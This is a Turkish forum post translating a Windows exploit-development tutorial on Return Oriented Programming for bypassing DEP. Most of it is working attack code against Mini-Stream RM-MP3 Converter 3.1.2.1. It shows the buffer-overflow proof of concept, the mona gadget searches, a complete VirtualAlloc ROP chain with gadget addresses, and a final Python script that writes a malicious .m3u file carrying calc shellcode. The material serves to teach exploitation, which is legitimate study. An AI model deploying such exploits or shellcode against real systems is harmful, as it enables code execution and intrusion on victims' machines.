Windows Exploit Geliştirme Serisi #7 | Dönüş Odaklı Programlama

Provido

Katılımcı Üye
21 Eki 2015
477
1
7. Bölüm: Dönüş Odaklı Programlama


“Eller havaya, bu bir soygun!!”. Bir fincan kahveniz var ve yığın exploitini nasıl bir üst seviyeye taşıyacağınızı düşünüyorsunuz. Bugün ROP ile cebelleşeceğiz (Dönüş Odaklı Programlama). Önceki eğitimlerden farklı olarak bu parametreleri yığındaki Windows API çağrıları için oluşturacağız ve daha sonra bunları çalıştıracağız. Tıpkı diğer tüm eğitici bölümlerde olduğu gibi ROP’u öğrenmek için de baya çalışmanız gerekecek. Yine söylüyorum, bu eğitim bilmeniz gereken her şeyi kapsamaz ve kapsayamaz. ROP hakkında daha iyi bir fikir edinmek istiyorsanız, corelanc0d3r’ın sayfasını buradan kontrol edin.

Bu tekniği tanıtmak için “Mini-Stream RM-MP3 Converter 3.1.2.1” için yeni bir exploit oluşturacağız. Burada bu program için bir önceki exploiti görebilirsiniz amca göreceğiniz gibi, farklı ve belki de daha etkili bir şey yapacağız!

Hata Ayıklama Makinesi: Windows 7 (herhangi bir Windows sürümü iş görür, ben Win7 Pro SP1 kullanıyorum)
Badcharacters: “\x00\x09\x0A”
Güvenlik Açıklı Yazılım: İndir


Giriş


Peki tüm bu delilik nedir ve bunu neden önemsiyorsun? İnsanlar yıllardır yığın taşmalarını kötüye kullanıyor. Microsoft’u ne için suçlayabiliriz ve bununla yüzleşmemiz gerek, yıllarca süren yığın parçalama onların dikkatinden kaçmadı. Farkında olduğum kadarıyla, WinXP SP2 ve Win Server 2003 SP1’den başlayarak, Windows yürütülebilir olmayan bellek aralıklarından kod yürütülmesini önlemek için yeni bir güvenlik özelliği uyguladı. DEP (Veri Yürütme Önleme) iki çeşittir.

Hardware Zorunlu DEP: CPU, bellek sayfalarını yürütülebilir olmayan olarak işaretler.
Yazılım Zorunlu DEP: Bu özellikleri desteklemeyen CPU’lar için alternatif olur.

Hardware Zorunlu DEP’yi destekleyen CPU’lar, yürütülebilir olmayan (NX) bit kümesine sahip bellek aralıklarından kod yürütmeyi redder. Bunun ana nedeni, özel/kötü amaçlı kodun başka bir programa enekte edilmesini önlemek için daha sonra yürütülür. Bu, esas olarak kötü amaçlı yazılım ve yığın tabanlı exploitlere engel olmak için uygulandı. Bununla birlikte, DEP bazen programların istenmeyen ve hatalı davranmasına neden olabilir çünkü meşru süreçlerin yapmaları gereken şeyleri yapmasını engeller. Bu sorunu çözmek için DEP, ana işletim sisteminizde iki şekilde yapılandırılabilir.

Opt-In Mode: DEP Yalnızca sistem işlemleri ve özel olarak tanımlanmış programlar için etkinleştirilir.
Opt-Out Mode: DEP, özel olarak/manuel olarak devre dışı bırakılanlar dışındaki tüm programlar ve hizmetler için etkindir.

Peki bu exploit geliştirme ne anlama geliyor? DEP etkin bellek bölümünde herhangi bir kodu çalıştırmaya çalıştığımızda (EIP veya shell kodu hakkında konuşuyor olalım) bir erişim ihlali oluşur “STATUS_ACCESS_VIOLATION (0x0000005)” işlemin sonlandırılmasına neden olur. Açıkça bu bizim için kötü! Bununla birlikte, DEP ile ilgili en ilginç şey, her işlem için devre dışı bırakılabilmesidir. Bu pratik olarak, bir dizi belleği yürütülebilir olarak işaretleyen Windows API çağrıları olduğu anlamına gelir. Asıl sorun hala devam ediyor, herhangi bir kod yürütemezsek, Windows API fonksiyonlarını nasıl çağırabiliriz?

Dönüş Odaklı Programa (ROP) girin. Bu teknik ilk olarak 2005 yılında Sebastian Krahmer tarafından SUSE Linux’ta tanıtıldı. Makalesini burada okuyabilirsiniz (okumalısınız, hehe). Temel fikir, Windows API çağrımıza parametre oluşturmak için yüklü modüllerden mevcut kod parçalarını (veya daha sonra onlara gadget’lar diyeceğimiz gibi) ödünç alacağımızdır. Bunu işe yaramasının nedeni, DEP etkinken bir türlü talimatı “yürütmemize” izin verilmesidir bir RETN. Temelde RETN ne yığında sonraki işaretçi yönlendirme yapılmasıdır. Bir RETN gerçekletirerek aslında herhangi bir kod yürütmüyoruz, bu anlamda DEP’in bir NOP versiyonu gibi bir şey. Bu Dönüş Odaklı Programlama terimini açıklığa kavuşturmalıdır. Yığını bir RETN ile biten tlimat dizelerini içeren uygulama modüllerinden işaretçilerle dolduracağız. Birlikte bu dizileri zincirleme üst düzey Meclis hesaplama yürütmek için bize izin verir. Aşağıdaki örnek, bunu göstermek için yardımcı olmalıdır.



Kod:
(1) All our pointers on the stack directly         (2) All our pointers on the stack reference a ********
    reference a RETN.                                  in memory that contains instructions followed by
                                                       a RETN (=gadget).

ESP -> ???????? => RETN                            ESP -> ???????? => POP EAX # RETN
       ???????? => RETN                                   ffffffff => we put this value in EAX
       ???????? => RETN                                   ???????? => INC EAX # RETN
       ???????? => RETN                                   ???????? => XCHG EAX,EDX # RETN

(1) In this case our RETN's will simply            (2) This is just an example but essentially we are
    increment ESP without doing anything.              zeroing out EDX using pre-existing instructions
                                                       that are located somewhere in the application 
                                                       without actally executing any code.


Doğru anlamışsınız! Tüm ROP-Gadget’ları listeleyeceğiz ve sonra API çağrımızı oluşturmak için onları bir araya getirin, bu da DEP’yi devre dışı bırakacak ve ikinci aşamadaki payloadımızı gerçekleştirmemize izin verecektir. Bu teknik, belirli bir talimatın belirli bir modül içinde nerede bulunacağını güvenilir bir şekilde tahmin etme yeteneğimize dayanır. Böylece, yalnızca rebase olmayan ve aslr olmayan modüllerden gadget’ları kullanabiliriz.

Windows yapılarında ve hizmet paketlerinde kullanılabilen birçok farklı API çağrısı vardır. Corelan’dan alınan bu tablo, yapı ve hizmet paketine dayalı DEP’yi devre dışı bırakmak için nelerin kullanılabileceğine dair güzel bir genel bakış sunar.



xmtkPR.png



Gördüğünüz gibi, bir şeyi yapmanın birden fazla yolu vardır. Bazı yöntemler diğerlerinden daha evrenseldir. Bu farklı API çağrıları MSDN’de düzgün bir şekilde belgelenmiştir bu yüzden, onları okumak ve ihtiyaç duydukları parametreleri daha iyi anlamak için biraz zaman ayırın. İşletim sistemi modülleri ASLR etkin olacak bu nedenle genel olarak, uygulama modüllerinin bu API çağrılarından herhangi birine işaretçi içerip içermediğini göreceğiz. Mevcut olana bağlı olarak, ROP-Chain inşa etmeye başlayabiliriz.

Temel olarak, ROP payloadının ilk aşamasını yazmanın iki yolu vardır. (1) Tüm API parametrelerini çeşitli kayıtlara yükleyebiliriz ve onları uygun sırayla yığına itmek için bir PUSHAD talimatı kullanabiliriz (bugün yapacağımız şey bu). Ya da (2) parametreleri doğrudan yığına uygun sırayla yazabiliriz ve sonra onlara geri dönebiliriz (Bu daha zor olacaktır).

Son olarak, ROP içinde bütün bir payloadı oluşturmanın da mümkün olduğunu belirtmem gerek. Bu ciddi Ninja becerileri gerektirir ve DEP’yi devre dışı bırakan bir ROP-Stager oluşturmaktan çok daha az pratiktir ancak bu yol hiç yoktan daha havalı, hehe.


Primitifleri Toplamak

Exploitleri geliştirme tamamen doğru bilgileri almakla alakalıdır. Ne kadar bilgi toplarsanız, her şey o kadar net olur, POC -> exploit’ten de o kadar hızlı geçersiniz. POC ile her şeyi başlatalım, biraz hile yaptım ve 4 B ile EIP’nin üzerine yazan temel bir arabellek yapısı vermek için POC’i değiştirdi (şimdiye kadar bir m3tasploit desenini kullanabildiğinizi varsayıyorum).



Kod:
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A'                                            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


Tamam önceden yaptığımız gibi, Mini-Stream hata ayıklayıcısını takın ve “crash.m3u” dosyasını açın. Aşağıda ortaya çıkan çökmeyi ekran görüntüsünde görebilirsiniz. Dikkat edilmesi gereken birkaç şey var: (1) Arabelleğimizde ESP kayıt defterinde yer almaktadır ve bu iyi bir haberdir çünkü ROP-Chain ulaşmak için EIP’yi basit bir RETN ile üzerine yazabiliriz ve (2) ESP, C-arabelleğimize 4 bayt işaret ettiğine dikkat etmeliyiz bu yüzden bu baytları daha sonra telafi etmemiz gerekecek.



xmtaun.png



İyi, şimdi bellek düzeni hakkında temel bir fikrimiz var. Mona’yı çıkaralım ve yüklü modüllere bir göz atalım (unutmayın rebase olmayan, ASR olmayan ve badcharacters olmadığını). Tüm kriterlerimizi karşılayan tek bir dil var gibi görünüyor (MSRMfilter03.dll). Mona’nın ROP-Chain için kullanabileceğimiz dll içindeki API işaretçilerini aramasını sağlayarak daha fazla ağır iş yapmasına izin verebiliriz. Aşağıdaki ekran görüntülerinde sonuçları görebilirsiniz.

!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb’\x00\x09\x0a’




xmtOJo.png



xmtgPA.png




Numaralandırma işleminin son aşaması şöyledir. Mona’nın seçtiğimiz modüle bağlı olarak bir ROP-Gadget listesi oluşturmasını sağlamak, bu arada bu, mona’nın en şaşırtıcı özelliklerinden biri ve corelanc0d3r’ın içine koyduğu çabanın bir kanıtıdır!! Mona birkaç önemli dosya üretecek: “rop.txt” (tüm ROP-Gadget’ların ham listesi), “rop_suggestions.txt” (fonksiyona dayalı ROP-Gadget’ların yoğun şekilde filtrelenmiş bir listesi), “stackpivot.txt” (ihtiyacınız varsa ESP döndüren araçların listesi) ve “rop_virtualprotect.txt” (VirtualProtect tabanlı bir ROP-Chain oluşturmaya çalışır). Kaynaklara kolay ulaşmak için bu dosyaları açık tutmanızı öneririm, notepad++ kullanıyorsanız, bunları ayrı sekmelerde açabilirsiniz. VirtualAlloc tabanlı bir zincir inşa edecek olsak bile, “rop_virtualprotect.txt”, ihtiyacımız olan bazı temel araçlar olduğu için bakmak hala yararlıdır.

!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'



xmti1I.png




ROP-Chain Oluşturmak

Ciddi konulara geçmeden önce,POC’inizi güncelleyelim. Daha önce gördüğümüz gibi, RETN için bir işaretçi ile EIP’nin üzerine yazabiliriz çünkü bizim arabellek ESP kayıt yerinde bulunmaktadır. Eğer “rop.txt” dosyasını açarsanız talimatlardan herhangi birini seçebilirsiniz ve böylece RETN adresini değiştirebilirsiniz ve onu korursunuz. Bunu yaparken, ROP-Chain için bir değişken ayarlayacağız ve dha önce fark ettiğimiz 4 baytları telafi etmeyi unutmayacağız.



Kod:
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()



Tamam şu ana kadar iyi geldik. VirtualAlloc’a bir göz atalım. Kullanacağımız parametreleri daha iyi anlamak için MSDN’deki belgeleri okumak için biraz zaman ayırıp okumanızı öneririm.



VirtualAlloc: MSDN
Kod:
Structure:                                 Parameters:

LP**** WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
  _In_opt_  LP**** lpAddress,        =>    Return Address (Redirect Execution to ESP)
  _In_      SIZE_T dwSize,           =>    dwSize (0x1)
  _In_      DWORD flAl********Type,  =>    flAl********Type (0x1000)
  _In_      DWORD flProtect          =>    flProtect (0x40)
);



Gördüğünüz gibi, API çağrısının yapısı nispeten basittir, ayarlamamız gereken değerlerin çoğu per-defined dır.Gelecek nesiller için, Virtualprotect’in yapısını da en yaygın ROP-Stagers oldukları için düzenleyeceğim ve bunlar, tüm Windows yapılarında evrensel API çağrılarıdır.



VirtualAlloc: MSDN
Kod:
Structure:                                 Parameters:

BOOL WINAPI VirtualProtect(          =>    A pointer to VirtualProtect()
  _In_   LP**** lpAddress,           =>    Return Address (Redirect Execution to ESP)
  _In_   SIZE_T dwSize,              =>    dwSize up to you to chose as needed (0x201)
  _In_   DWORD flNewProtect,         =>    flNewProtect (0x40)
  _Out_  PDWORD lpflOldProtect       =>    A writable pointer
);



Bu bilgi aklımızda iken, ROP zincirimizi yazmak için atmamız gereken adımların net bir resmini elde etmek için POC’umuzu güncelleyelim.



Kod:
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LP**** WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LP**** lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAl********Type, => flAl********Type (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAl********Type                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()



Savaş planımız şu anda şudur, yukarıda listelenen değerleri uygun kayıtlara yüklemek ve ROP-Gadget dizilerini bir araya getirmektir. Tüm talimatları aldıktan sonra, onları karıştırmalıyız çünkü bazı talimatların daha önce ayarladığımız kayıtları değiştireceğini hatırlamamız gerekiyor. Kolayca bulabileceğimiz bazı talimatları bir araya getirerek başlayalım, geri kalanıyla sonra endişeleniriz. Her dizide mümkün olan en az sayıda talimat almak istediğiniz unutmayın.



Kod:
(1) EDI -> We need to put a ROP-Nop in EDI
0x10029b57 # POP EDI # RETN
0x1002b9ff # ROP-Nop (we already have this value from EIP)

(2) EBP -> Redirect Execution flow to ESP
0x100532ed # POP EBP # RETN
0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')

(3) EAX -> Fill with a regular NOP
0x10030361 # POP EAX # RETN
0x90909090 # NOP (just a regular NOP)

(4) We need to end our chain with a PUSHAD
0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)



Tamamdır, tüm aşağı sarkan meyvelere sahibiz. Diğer araçlar biraz yaratıcılık ve bulmaca zekası gerektirecektir ancak biraz çabayla ihtiyacımız olan talimatları bir araya getirebilmelisiniz. Yapacağım zincir kesinlikle tek seçenek değil. Gadget’larımızı yapılandırmanın birkaç yolu vardır ve bazıları şüphesiz daha verimli olacaktır. Araştırma ve “rop.txt” eklemek için tam zamanı.



Kod:
(5) EBX -> dwSize (0x1)
0x10013b1c # POP EBX # RETN
0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
0x100319d3 # INC EBX # FPATAN # RETN  \ Increasing EBX twice will set EBX to 0x00000001
0x100319d3 # INC EBX # FPATAN # RETN  /

(6) EDX -> flAl********Type (0x1000)
0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
0x41414141 # padding for POP EBP (compensation for the POP)
0x10013b1c # POP EBX # RETN
0x1A750FFF # ebx+edx => 0x1000 flAl********Type (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
0x1002b9ff # Rop-Nop to compensate  \
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   | This is to compensate for the POP and RETN 10
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate  /

(7) ECX -> flProtect (0x40)
(This technique works because EDX points to a valid memory ******** at run-time!! I tested this on windows
XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
universal.)
0x100280de # POP ECX # RETN
0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  \ ECX will be set to 0x00000001
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  /
0x1002a487 # ADD ECX,ECX # RETN  \
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN  /

(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)



Bu dizelerin bazıları biraz karmaşık gibi görünüyor ancak anlamak zor değildir, onlara bakmak için biraz zaman ayırın, böylece anladığınızı fark edeceksiniz. Gördüğünüz gibi bu araçlardan bazıları, uygun değeri yüklemek için birkaç kaydı işliyor. Gadget’larımızı ROP-Chani etkilemeyecek şekilde sıralayabiliriz, bu yüzden bunu aklınızda tutun. Her şeyi bir araya getirmenin ve POC’imizi yeniden yapılandırmanın zamanı geldi.



Kod:
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LP**** WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LP**** lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAl********Type, => flAl********Type (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAl********Type                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAl********Type
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAl********Type (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()



Her şeyin istendiği gibi çalıştığını doğrulamak için hata ayıklayıcıdaki ROP-Chainden geçebilirsiniz. Aşağıdaki ekran görüntüsünde, VirtualAlloc çağrısının yığında ayarlandığını görebilirsiniz. Bu çağrıdan sonra yerleştireceğimiz herhangi bir payload çalıştırılacaktır.



xmtWwN.png





Shell Kodu + Oyun Bitti


Geriye kalan tek şey, ikinci aşama payloadı olarak bir shell kodu eklemektir. Çok fazla bellek ayırmayı başaramadık bu yüzden boş alanımız sınırlı ama SkyLined’ın calc shell kodunu ekledim (eğer ilgili iseniz buraya göz atabilirsiniz). Daha fazla bellek elde etmek mümkündür ancak bununla uğraşmaları için bu işi dikkatli okuyucularıma bırakıyorum.



Kod:
#!/usr/bin/python
 
#----------------------------------------------------------------------------------#
# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u)                            #
# OS: Win7 Pro SP1                                                                 #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #
#          /ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe        #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 7 of my Exploit Development tutorial           #
# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html                    #
#----------------------------------------------------------------------------------#
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LP**** WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LP**** lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAl********Type, => flAl********Type (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAl********Type                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAl********Type
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAl********Type (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#
 
# SkyLined's Calc shellcode
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
shell = "\x90"*5 + calc
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + shell + "C"*(7572-len(rop + shell))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


xmtMcv.png







 
Üst

